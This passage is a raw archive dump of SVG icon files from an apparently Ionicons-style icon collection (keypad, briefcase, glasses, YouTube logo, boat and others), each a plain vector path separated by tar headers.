3.1-5.1 4.7-8.6 4.1l-25.9-5c-4-.9-8 1.2-9.4 5l-4 11c-1.4 3.8.3 8.1 3.9 9.9L85.6 213c3.1 1.7 4.6 5.2 3.9 8.6-.6 3.2-1.2 6.3-1.7 9.5-.5 3.5-3.2 6.2-6.6 6.8l-26.1 4.2c-4 .5-7.1 3.9-7.1 7.9v11.7c0 4.1 3 7.5 7.1 7.9l26.1 4.2c3.5.6 6.1 3.3 6.6 6.8.5 3.2 1 6.4 1.7 9.5.7 3.4-.9 6.9-3.9 8.6l-23.1 12.8c-3.6 1.8-5.3 6.1-3.9 9.9l4 11c1.4 3.8 5.4 6 9.4 5l25.9-5c3.4-.7 6.9 1 8.6 4.1 1.5 2.8 3.1 5.6 4.8 8.4 1.8 3 1.6 6.8-.7 9.5l-17.3 19.9c-2.8 3-2.9 7.5-.3 10.6l7.5 9c2.6 3.1 7.1 3.8 10.5 1.5l22.7-13.6c3-1.8 6.8-1.4 9.4.9 2.4 2.1 4.9 4.2 7.4 6.2 2.7 2.2 3.8 5.9 2.5 9.1l-9.4 24.7c-1.6 3.7-.2 8.1 3.3 10.1l10.2 5.9c3.5 2 8 1.1 10.4-2.2l16.8-20.6c2.1-2.6 5.5-3.7 8.2-2.6 3.4 1.4 5.7 2.2 9.9 3.6 3.3 1.1 5.6 4.2 5.5 7.7l-.4 26.4c-.2 4.1 2.6 7.7 6.6 8.4l11.6 2c4 .7 7.9-1.7 9.1-5.6l8.6-25c1.1-3.3 4.3-5.5 7.8-5.4 1.6 0 3.3.1 4.9.1s3.3 0 4.9-.1c3.5-.1 6.6 2.1 7.8 5.4l8.6 25c1.2 3.9 5.1 6.3 9.1 5.6l11.6-2c4-.7 6.8-4.3 6.6-8.4l-.4-26.4c-.1-3.5 2.2-6.6 5.5-7.7 4.2-1.4 7-2.5 9.6-3.5 2.6-.9 5.8-1 8.3 2.1l17 20.9c2.4 3.3 6.9 4.2 10.4 2.2l10.2-5.9c3.5-2 5-6.4 3.3-10.1l-9.4-24.7c-1.2-3.3-.2-7 2.5-9.1 2.5-2 5-4.1 7.4-6.2 2.6-2.3 6.4-2.7 9.4-.9l22.7 13.6c3.4 2.2 7.9 1.6 10.5-1.5l7.5-9c2.6-3.1 2.5-7.7-.3-10.6l-17.3-19.9c-2.3-2.6-2.6-6.5-.7-9.5 1.7-2.7 3.3-5.5 4.8-8.4 1.7-3.1 5.1-4.7 8.6-4.1l25.9 5c4 .9 8-1.2 9.4-5l4-11c1.4-3.8-.3-8.1-3.9-9.9l-23.1-12.8c-3.1-1.7-4.6-5.2-3.9-8.6.6-3.2 1.2-6.3 1.7-9.5.5-3.5 3.2-6.2 6.6-6.8l26.1-4.2c4-.5 7.1-3.9 7.1-7.9v-11.7c-.2-3.8-3.2-7.3-7.3-7.7zM181.8 356.9c-5.2 9-17.4 10.7-25 3.6C129.2 334.2 112 297.1 112 256c0-40.9 17.1-77.9 44.5-104.1 7.5-7.2 19.8-5.5 25 3.5l56 96.6c1.4 2.5 1.4 5.5 0 8l-55.7 96.9zM396 289.7C380.9 353 323.9 400 256 400c-14.1 0-27.8-2-40.6-5.8-9.9-2.9-14.5-14.4-9.3-23.3l55.7-96.9c1.4-2.5 4.1-4 6.9-4h111.7c10.4 0 18 9.6 15.6 19.7zM380.5 242H268.7c-2.9 0-5.5-1.5-6.9-4l-56.1-96.7c-5.2-8.9-.7-20.4 9.2-23.4 13-3.9 26.8-5.9 41.1-5.9 67.9 0 124.9 47 140 110.3 2.4 10.1-5.2 19.7-15.5 19.7z"/></svg>collection/icon/svg/ios-keypad.svg000064400000001676151701353760013236 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M394.6 341.2c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM256 341.2c-29.5 0-53.4 23.9-53.4 53.4S226.5 448 256 448s53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM117.4 341.2c-29.5 0-53.4 23.9-53.4 53.4S87.9 448 117.4 448s53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM394.6 202.6c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4S448 285.5 448 256s-23.9-53.4-53.4-53.4zM256 202.6c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM117.4 202.6C87.9 202.6 64 226.5 64 256s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM394.6 64c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4S424.1 64 394.6 64zM256 64c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4S285.5 64 256 64zM117.4 64C87.9 64 64 87.9 64 117.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4S146.9 64 117.4 64z"/></svg>collection/icon/svg/ios-briefcase.svg000064400000000635151701353760013676 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 448h352c17.7 0 32-14.3 32-32V224H48v192c0 17.7 14.3 32 32 32zM432 128h-8v-8c0-4.4-3.6-8-8-8h-32c-4.4 0-8 3.6-8 8v8h-28V96c0-17.6-14.4-32-32-32H196c-17.6 0-32 14.4-32 32v32h-28v-8c0-4.4-3.6-8-8-8H96c-4.4 0-8 3.6-8 8v8h-8c-17.7 0-32 14.3-32 32v40h416v-40c0-17.7-14.3-32-32-32zm-112 0H192v-28c0-4.4 3.6-8 8-8h112c4.4 0 8 3.6 8 8v28z"/></svg>collection/icon/svg/md-glasses.svg000064400000000365151701353760013222 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 176H272v.1h-32v-.1H32v48h11l5 21.5C64 313 88.5 336 144 336s96-17.4 96-90.5V224s1.5-16 16-16 16 16 16 16v21.8c0 73 42.1 90.2 97 90.2s79-25 95-90.2l5-21.8h11v-48z"/></svg>collection/icon/svg/ios-information.svg000064400000000330151701353760014270 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M235.4 176c0-11.4 9.3-19.9 20.5-19.9 11.4 0 20.7 8.5 20.7 19.9s-9.3 20-20.7 20c-11.2.1-20.5-8.6-20.5-20zm1.4 35.8H275v144.1h-38.2V211.8z"/></svg>collection/icon/svg/ios-radio-button-on.svg000064400000001105151701353760014765 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M363.5 148.5C334.8 119.8 296.6 104 256 104c-40.6 0-78.8 15.8-107.5 44.5C119.8 177.2 104 215.4 104 256s15.8 78.8 44.5 107.5C177.2 392.2 215.4 408 256 408c40.6 0 78.8-15.8 107.5-44.5C392.2 334.8 408 296.6 408 256s-15.8-78.8-44.5-107.5z"/></svg>collection/icon/svg/md-woman.svg000064400000000716151701353760012702 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M190.4 148.6L161 252.9c-6.3 22.8 20.7 31.7 27.3 10.3l26.3-96.2h7.4l-45.2 169H219v127c0 23 32 23 32 0V336h10v127c0 23 31 23 31 0V336h43.4l-46.2-169h8.4l26.3 96.2c6.5 21.9 33.3 12.5 27.3-10.2l-29.4-104.4c-4-11.8-18.2-32.6-42-33.6h-47.3c-24.6 1-38.7 21.6-42.1 33.6zM292.6 69.2c0-20.6-16.4-37.3-36.6-37.3-20.2 0-36.6 16.7-36.6 37.3 0 20.6 16.4 37.3 36.6 37.3 20.2 0 36.6-16.7 36.6-37.3z"/></svg>collection/icon/svg/md-filing.svg000064400000000546151701353760013032 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M449.2 208H423v-32l-14.4-48H383V96l-15-48H144l-15 48v32h-25.6L89 176v32H62.8L48 256v165.3c0 23.5 35.2 42.7 58.7 42.7h314.7c21.8 0 42.7-19.7 42.7-41V256l-14.9-48zM176 96h160v32H176V96zm-41 80h242v32H135v-32zm282 112h-82.6c-7.4 36.5-39.7 64-78.4 64s-71-27.5-78.4-64H95v-32h322v32z"/></svg>collection/icon/svg/md-cloud.svg000064400000000445151701353760012666 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999z"/></svg>collection/icon/svg/ios-git-commit.svg000064400000001027151701353760014020 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M466 242h-76.7c-3.3-31.9-17.8-61.3-41.3-83.5-25-23.5-57.7-36.5-92-36.5s-67 13-91.9 36.5c-23.5 22.2-38 51.6-41.3 83.5H46c-7.7 0-14 6.3-14 14s6.3 14 14 14h76.7c3.3 31.9 17.8 61.3 41.3 83.5 25 23.5 57.7 36.5 92 36.5s67-13 91.9-36.5c23.5-22.2 38-51.6 41.3-83.5H466c7.7 0 14-6.3 14-14s-6.3-14-14-14zm-135 89c-20 20-46.6 31-75 31-28.3 0-54.9-11-75-31-20-20-31-46.6-31-75s11-54.9 31-75c20-20 46.6-31 75-31 28.3 0 54.9 11 75 31 20 20 31 46.6 31 75s-11 54.9-31 75z"/></svg>collection/icon/svg/ios-grid.svg000064400000001446151701353760012701 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M206 308h100c1.1 0 2-.9 2-2V206c0-1.1-.9-2-2-2H206c-1.1 0-2 .9-2 2v100c0 1.1.9 2 2 2z"/><path d="M64 96v320c0 17.7 14.3 32 32 32h320c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zm330 108h-56c-1.1 0-2 .9-2 2v100c0 1.1.9 2 2 2h56c7.7 0 14 6.3 14 14s-6.3 14-14 14h-56c-1.1 0-2 .9-2 2v56c0 7.7-6.3 14-14 14s-14-6.3-14-14v-56c0-1.1-.9-2-2-2H206c-1.1 0-2 .9-2 2v56c0 7.7-6.3 14-14 14s-14-6.3-14-14v-56c0-1.1-.9-2-2-2h-56c-7.7 0-14-6.3-14-14s6.3-14 14-14h56c1.1 0 2-.9 2-2V206c0-1.1-.9-2-2-2h-56c-7.7 0-14-6.3-14-14s6.3-14 14-14h56c1.1 0 2-.9 2-2v-56c0-7.7 6.3-14 14-14s14 6.3 14 14v56c0 1.1.9 2 2 2h100c1.1 0 2-.9 2-2v-56c0-7.7 6.3-14 14-14s14 6.3 14 14v56c0 1.1.9 2 2 2h56c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>collection/icon/svg/md-done-all.svg000064400000000466151701353760013256 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M387.581 139.712L356.755 109 216.913 248.319l30.831 30.719 139.837-139.326zM481.172 109L247.744 340.469l-91.39-91.051-30.827 30.715L247.744 403 512 139.712 481.172 109zM0 280.133L123.321 403l30.829-30.713L31.934 249.418 0 280.133z"/></svg>collection/icon/svg/ios-cloud-circle.svg000064400000000612151701353760014313 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm82.6 272H173.4c-25.1 0-45.4-21.4-45.4-47.2 0-21 13.2-39.8 33.2-46.2.3-20 16.2-36.1 35.7-36.1 5.3 0 10.4 1.2 14.9 3.4 13.1-20.5 36.9-33.8 62.5-33.8 37.7 0 67.5 29.3 71.4 66.9 21.7 3.5 38.3 22.7 38.3 45.9 0 25.7-20.3 47.1-45.4 47.1z"/></svg>collection/icon/svg/md-help-circle.svg000064400000000531151701353760013743 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm21 333h-42v-42h42v42zm-.2-63h-41.6c0-67 62.4-62.2 62.4-103.8 0-22.9-18.7-41.7-41.6-41.7S214.4 192 214.4 214h-41.6c0-46 37.2-83 83.2-83s83.2 37.1 83.2 83.1c0 52-62.4 57.9-62.4 103.9z"/></svg>collection/icon/svg/logo-youtube.svg000064400000000665151701353760013620 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M508.6 148.8c0-45-33.1-81.2-74-81.2C379.2 65 322.7 64 265 64h-18c-57.6 0-114.2 1-169.6 3.6C36.6 67.6 3.5 104 3.5 149 1 184.6-.1 220.2 0 255.8c-.1 35.6 1 71.2 3.4 106.9 0 45 33.1 81.5 73.9 81.5 58.2 2.7 117.9 3.9 178.6 3.8 60.8.2 120.3-1 178.6-3.8 40.9 0 74-36.5 74-81.5 2.4-35.7 3.5-71.3 3.4-107 .2-35.6-.9-71.2-3.3-106.9zM207 353.9V157.4l145 98.2-145 98.3z"/></svg>collection/icon/svg/md-boat.svg000064400000001605151701353760012504 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M84.255 413h1.063c34.123 0 63.977-19.021 85.305-42.494 21.325 23.473 51.18 42.762 85.304 42.762s63.979-19.334 85.305-42.806C362.559 393.934 392.412 413 426.535 413h1.062l51.253-138.78c2.126-5.329 1.063-11.641-1.07-16.976-2.136-5.333-7.237-8.487-12.567-10.623L427 234.133v-98.15C427 112.51 407.344 93 383.884 93h-63.979l-15.993-53h-95.969l-15.995 53h-63.979C104.511 93 85 112.51 85 135.982v98.15l-38.074 12.533c-5.33 2.136-10.582 5.334-12.718 10.667-2.135 5.335-3.158 10.49-1.031 16.887L84.255 413zM128 136h256v84.261l-128-41.605-128 41.605V136z"/><path d="M341.231 408.007c-52.253 36.267-118.356 36.258-170.608-.009 0 0-57.638 64.002-106.632 64.002h21.327c29.854 0 58.646-11.726 85.305-25.594 53.315 27.734 117.293 27.728 170.608-.007C367.89 460.268 396.681 472 426.535 472h21.328c-47.651 0-106.632-63.993-106.632-63.993z"/></svg>collection/icon/svg/md-wallet.svg000064400000000774151701353760013055 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M202.7 341.3V170.7c0-23.5 19-42.7 42.7-42.7h197v-21.3c0-23.5-18.9-42.7-42.3-42.7H92c-23.7 0-44 18.5-44 42v300c0 23.5 20.3 42 44 42h308c23.5 0 42.3-19.2 42.3-42.7V384h-197c-23.6 0-42.6-19.2-42.6-42.7z"/><path d="M245 186v140c0 8.8 7.2 16 16 16h187c8.8 0 16-7.2 16-16V186c0-8.8-7.2-16-16-16H261c-8.8 0-16 7.2-16 16zm77.1 101.9c-19.3 1.2-35.2-14.7-34-34 1-15.9 13.9-28.8 29.9-29.9 19.3-1.2 35.2 14.7 34 34-1.1 16-14 28.9-29.9 29.9z"/></svg>collection/icon/svg/md-clipboard.svg000064400000000733151701353760013517 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.333 80h-87.35C310.879 52.396 285.821 32 256 32s-54.879 20.396-61.983 48h-87.35C83.198 80 64 99.198 64 122.667v314.665C64 460.801 83.198 480 106.667 480h298.666C428.802 480 448 460.801 448 437.332V122.667C448 99.198 428.802 80 405.333 80zM256 80c11.729 0 21.333 9.599 21.333 21.333s-9.604 21.334-21.333 21.334-21.333-9.6-21.333-21.334S244.271 80 256 80zm152 360H104V120h40v72h224v-72h40v320z"/></svg>collection/icon/svg/md-bluetooth.svg000064400000000425151701353760013563 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M399 159.9L270.5 32H248v170L144.7 99.2 113 130.8 238.8 256 113 381.2l31.7 31.6L248 310v170h22.5L399 352.1 302.2 256l96.8-96.1zm-106-42.1l42.3 42.1L293 202v-84.2zm42.3 234.3L293 394.2V310l42.3 42.1z"/></svg>collection/icon/svg/md-print.svg000064400000000376151701353760012717 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M399.95 160h-287.9C76.824 160 48 188.803 48 224v138.667h79.899V448H384.1v-85.333H464V224c0-35.197-28.825-64-64.05-64zM352 416H160V288h192v128zm32.101-352H127.899v80H384.1V64z"/></svg>collection/icon/svg/ios-code-download.svg000064400000002004151701353760014462 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M332 142.7c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7L310 155.9c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l95.8 91.5-95.8 91.5c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l13.8 13.2c1.2 1.1 2.6 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l114.2-109c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L332 142.7zM106.3 256l95.8-91.5c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3l-13.8-13.2c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7l-114.2 109c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l114.2 109c1.2 1.1 2.7 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l13.8-13.2c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L106.3 256z"/><path d="M332.8 267.2c.1-3.9-1.4-7.6-4.2-10.4l-.1-.1c-2.7-2.7-6.2-4.2-10-4.2-3.5 0-6.8 1.3-9.4 3.6l-38.9 34.6V184.6c0-7.8-6.4-14.2-14.2-14.2-7.8 0-14.2 6.4-14.2 14.2v106.2l-38.9-34.6c-2.6-2.3-6-3.6-9.4-3.6-3.8 0-7.4 1.5-10.1 4.2l-.1.1c-2.8 2.8-4.2 6.4-4.2 10.4.1 3.9 1.7 7.5 4.6 10.2l62.8 57.7c2.6 2.4 6 3.7 9.5 3.7s6.9-1.3 9.5-3.7l62.8-57.7c2.8-2.8 4.5-6.4 4.5-10.3z"/></svg>collection/icon/svg/md-remove-circle.svg000064400000000305151701353760014307 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.125 48 48 141.125 48 256s93.125 208 208 208 208-93.125 208-208S370.875 48 256 48zm107 229H149v-42h214v42z"/></svg>collection/icon/svg/md-mic-off.svg000064400000001446151701353760013102 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M367.951 354.654l-26.616-26.562-9.568-9.548-4.698-4.706L187 174.041v.346L76.112 63.531 51.921 87.572 187 222.47v28.816c0 37.79 31.121 68.714 68.91 68.714a68.6 68.6 0 0 0 24.565-4.545l32.389 32.274c-17.333 8.793-36.812 13.86-56.782 13.86-62.986 0-121.365-48.59-121.365-116.59H95.773C95.773 322 158 387.701 233 398.013V480h46v-81.987c22-3.352 43.066-11.222 61.627-22.622l95.278 95.078 24.033-24-33.847-33.785-58.216-57.959 58.224 57.959-58.148-58.03zM325 251.286V100.714C325 62.924 293.791 32 256 32s-69 30.924-69 68.714v25.244l137.109 136.968c.67-3.791.891-7.679.891-11.64zM416.439 245h-38.941c0 20.496-5.498 39.676-14.931 56.197l27.572 27.516c16.523-24.11 26.3-52.787 26.3-83.713zM459.999 446.427l-33.897-33.743 33.855 33.785z"/></svg>collection/icon/svg/md-arrow-down.svg000064400000000262151701353760013654 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.375 85v259.704l119.702-119.702L427 256 256 427 85 256l29.924-29.922 119.701 118.626V85h42.75z"/></svg>collection/icon/svg/ios-trash.svg000064400000000617151701353760013074 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M133.1 128l23.6 290.7c0 16.2 13.1 29.3 29.3 29.3h141c16.2 0 29.3-13.1 29.3-29.3L379.6 128H133.1zm61.6 265L188 160h18.5l6.9 233h-18.7zm70.3 0h-18V160h18v233zm52.3 0h-18.6l6.8-233H324l-6.7 233zM364 92h-36l-26.3-23c-3.7-3.2-8.4-5-13.2-5h-64.8c-4.9 0-9.7 1.8-13.4 5L184 92h-36c-17.6 0-30 8.4-30 26h276c0-17.6-12.4-26-30-26z"/></svg>collection/icon/svg/ios-american-football.svg000064400000003013151701353760015323 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M378.6 133.4C338.1 92.9 283.9 71 231.4 59.6L59.6 231.4C71 284 92.9 338.1 133.4 378.6c40.5 40.5 94.7 62.4 147.2 73.8l171.8-171.8c-11.4-52.5-33.3-106.7-73.8-147.2zM344.1 288l-19.2 19.2 14.8 14.8c4.9 4.9 4.9 12.7 0 17.6-4.9 4.9-12.7 4.9-17.6 0l-14.8-14.8-19.3 19.4c-2 2-4.5 3.4-7.3 3.9-4.2.7-8.4-.7-11.3-3.6-1.5-1.5-2.6-3.3-3.2-5.3-1.4-4.9-.1-9.7 3.2-13.1l19.5-19.5-15.6-15.6-19.3 19.3c-2.1 2.1-4.7 3.5-7.6 3.9-5.5.7-10.7-1.9-13.4-7-.3-.6-.6-1.2-.8-1.9-1.5-4.9-.2-9.8 3.2-13.2l19.5-19.5-15.5-15.6-19.3 19.3c-2.1 2.1-4.7 3.5-7.6 3.9-5.5.7-10.7-1.9-13.4-7-.3-.6-.6-1.2-.8-1.9-1.5-4.9-.2-9.8 3.2-13.2l19.5-19.5-15.5-15.6-19.3 19.3c-2.1 2.1-4.7 3.5-7.6 3.9-5.5.7-10.7-1.9-13.4-7-.3-.6-.6-1.2-.8-1.9-1.5-4.9-.2-9.8 3.2-13.2l19.5-19.5-14.8-14.8c-4.9-4.9-4.9-12.7 0-17.6 4.9-4.9 12.7-4.9 17.6 0l14.8 14.8 19.3-19.3c2.1-2.1 4.7-3.5 7.6-3.9 5.5-.7 10.7 1.9 13.4 7 .3.6.6 1.2.8 1.9 1.5 4.9.2 9.8-3.2 13.2l-19.5 19.5 15.6 15.6 19.3-19.3c2-2 4.5-3.4 7.3-3.9 4.2-.7 8.4.7 11.3 3.6 1.5 1.4 2.6 3.2 3.2 5.2 1.5 4.9.2 9.8-3.2 13.2L257 239.4l15.6 15.6 19.3-19.3c2.1-2.1 4.7-3.5 7.6-3.9 5.5-.7 10.7 1.9 13.4 7 .3.6.6 1.2.8 1.9 1.5 4.9.2 9.8-3.2 13.2L291 273.4l15.6 15.6 19.3-19.3c2.2-2.2 5-3.6 8-4 4.4-.5 8.6 1.2 11.4 4.6 4.1 5 3.5 13.1-1.2 17.7zM395.1 464c27.6 0 48.8-1.8 58.8-2.9 3.7-.4 6.7-3.4 7.1-7.1 2-18.9 6.8-77.6-3.2-143.7L310.3 457.9c31 4.7 60.4 6.1 84.8 6.1zM116.8 48C89.3 48 68 49.8 58 50.9c-3.7.4-6.7 3.4-7.1 7.1-2 18.9-6.8 77.6 3.2 143.6L201.6 54.1c-31-4.7-60.4-6.1-84.8-6.1z"/></svg>collection/icon/svg/logo-ionitron.svg000064400000003437151701353760013765 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M468.4 269.2c-2.7-34.2-12.2-59.2-32.9-57.3 6.4 14.6 12.2 48.1 8.7 72-1.4-25.9-6.3-50.2-17.2-72-32.1-64.6-100.6-107.4-177.5-103.1-85.9 4.8-155 66.7-172 146.8l-11.4 1.6c-17.2 2.4-26.9 34.9-21.7 72.5 5.3 37.7 23.5 66.2 40.7 63.8l15.8-2.2c34.7 56.3 98.5 92.3 169.3 88.4 85.3-4.7 154-65.9 171.7-145.2l7.4-.4c15.2-2.5 21.8-31.2 19.1-64.9zM90.3 264c10.7 8.2 25.4 28.3 29.1 55.1 3.9 27.7-4.8 54.1-13.4 64.3 6-14.8 8.1-37.3 4.7-61.9-3.3-24-11-44.7-20.4-57.5zm183.8 116.2c-8.5.5-15.8-6-16.3-14.5s6-15.7 14.6-16.2c8.5-.5 15.8 6 16.3 14.5s-6.1 15.7-14.6 16.2zm81-4.7c-8.5.5-15.8-6-16.3-14.5s6-15.7 14.6-16.2c8.5-.5 15.8 6 16.3 14.5.4 8.5-6.1 15.8-14.6 16.2zM165.5 70s0 .1 0 0c.1.1.1.2.1.2.1.2.2.3.3.5v.1c.4 1 1.1 1.9 2.3 2.7 2 1.5 5 2.4 8.6 3 3.4.5 7.5.7 11.9.5 1 0 1.9-.1 2.9-.2-.4-.4-.8-.9-1.2-1.3h-1.3c-4.3.1-8.2-.2-11.6-.9-3.5-.7-6.4-1.8-8.4-3.4-.6-.5-1-.9-1.4-1.4-.2-.7-.2-1.5 0-2.3.5-2.3 2.4-4.8 5.5-7.4 2.7-2.3 6.4-4.7 10.9-7 .9-.4 1.7-.9 2.6-1.3.1-.1.3-.1.5-.2-.8 3.3-.9 6.9-.2 10.5 2.3 11.9 11.6 20.3 23.2 20.6l4 24.3 12.7-2-4-24.3c10.8-4.6 16.3-16.1 14-28-.7-3.5-2-6.7-3.9-9.5-5.3-.8-15.6-.8-29.2 2.1 1.1-.3 2.1-.7 3.2-1 7.6-2.1 14.9-3.5 21.5-4.2.6-.1 1.2-.1 1.8-.2 1.2-.1 2.4-.2 3.5-.3h.6c4.1-.2 7.7-.1 10.8.3 2.4.3 4.4.8 6.1 1.4-.6.9-.9 2-.9 3.2 0 2.7 1.8 5 4.3 5.8-.6.9-1.3 1.9-2.1 2.8-.8.9-1.8 1.9-2.9 2.8-1.1.9-2.3 1.8-3.5 2.7l-6.5 3.8-.3 1.5c.1 0 .2-.1.2-.1l8.4-4.7c1.2-.8 2.4-1.6 3.4-2.4 1.2-.9 2.2-1.8 3.2-2.8.9-.9 1.7-1.9 2.4-2.8l.3-.6c3-.4 5.4-2.9 5.4-6 0-3.4-2.7-6.1-6.1-6.1-1 0-1.9.3-2.8.7-2-1.2-4.8-2.1-8.2-2.7-4.3-.8-9.6-1-15.5-.6-.7 0-1.4.1-2.1.2-.7.1-1.3.2-2 .2-5.3-3.5-11.9-5-18.7-3.7-7.9 1.5-14.2 6.5-17.8 13-1.3.5-2.6 1.1-3.8 1.7-.7.3-1.3.6-2 .9-5.9 2.9-10.6 6.1-13.9 9.1-3.1 2.9-4.9 5.7-5.3 8.3-.2 1.4 0 2.8.7 4 .1.1.2.3.3.5z"/></svg>collection/icon/svg/ios-headset.svg000064400000002043151701353760013363 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 123.8c-24.3 0-46.9 10.1-63.9 28.4-17 18.3-26.1 33.2-26.1 59.6 0 7.7 5.9 14 13.2 14 7.3 0 13.2-6.3 13.2-14 0-17.3 6.6-32.4 19-43.5 11.8-10.6 27.7-16.5 44.7-16.5s32.9 5.8 44.7 16.5c12.4 11.2 19 26.2 19 43.5 0 7.7 5.9 14 13.2 14 7.3 0 13.2-6.3 13.2-14 0-26.4-9.2-41.3-26.1-59.6-17.2-18.4-39.8-28.4-64.1-28.4z"/><path d="M457.1 278.9C442.3 264.1 422.8 256 402 256h-8c-2.2 0-4-1.8-4-4v-37.8c0-35.7-14-69.3-39.4-94.7C325.3 94 291.7 80 256 80c-35.7 0-69.3 14-94.6 39.4-25.4 25.4-39.4 59-39.4 94.7V252c0 2.2-1.8 4-4 4h-8c-20.8 0-40.3 8.1-55.1 22.9C40.1 293.7 32 313.2 32 334v11.8c0 20.8 8.1 40.4 22.9 55.2 14.8 14.8 34.4 23 55.1 23h5.6c4 0 8 1.4 10.9 4.1 2.5 2.3 5.9 3.8 9.5 3.8 7.7 0 14-6.3 14-14.1V214.1c0-28.2 11.1-54.8 31.2-74.9 20.1-20.1 46.7-31.2 74.8-31.2 28.2 0 54.8 11.1 74.8 31.2 20.1 20.1 31.2 46.7 31.2 74.9v203.8c0 7.8 6.3 14.1 14 14.1 3.6 0 7-1.5 9.5-3.8 2.9-2.7 6.9-4.1 10.9-4.1h5.6c20.7 0 40.3-8.2 55.1-23 14.8-14.8 22.9-34.4 22.9-55.2V334c0-20.8-8.1-40.3-22.9-55.1z"/></svg>collection/icon/svg/ios-partly-sunny.svg000064400000002516151701353760014440 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168.2 64h-.3c-8.7 0-15.8 7.1-15.8 15.8v30.3c0 8.7 7.1 15.8 15.8 15.8h.3c8.7 0 15.8-7.1 15.8-15.8V79.8c0-8.7-7.1-15.8-15.8-15.8zM79 216.2v-.3c0-8.7-7.1-15.8-15.8-15.8H31.8c-8.7 0-15.8 7.1-15.8 15.8v.3c0 8.7 7.1 15.8 15.8 15.8h31.3c8.8 0 15.9-7.1 15.9-15.8zM79.7 149c3 3 7 4.7 11.2 4.7 4.2 0 8.2-1.7 11.2-4.7 6.1-6.2 6.1-16.2 0-22.3l-20.3-20.5c-3-3-7-4.7-11.2-4.7-4.2 0-8.2 1.7-11.2 4.7-6.1 6.2-6.1 16.2 0 22.3L79.7 149zM271 105.2c-3-3-7-4.7-11.2-4.7-4.2 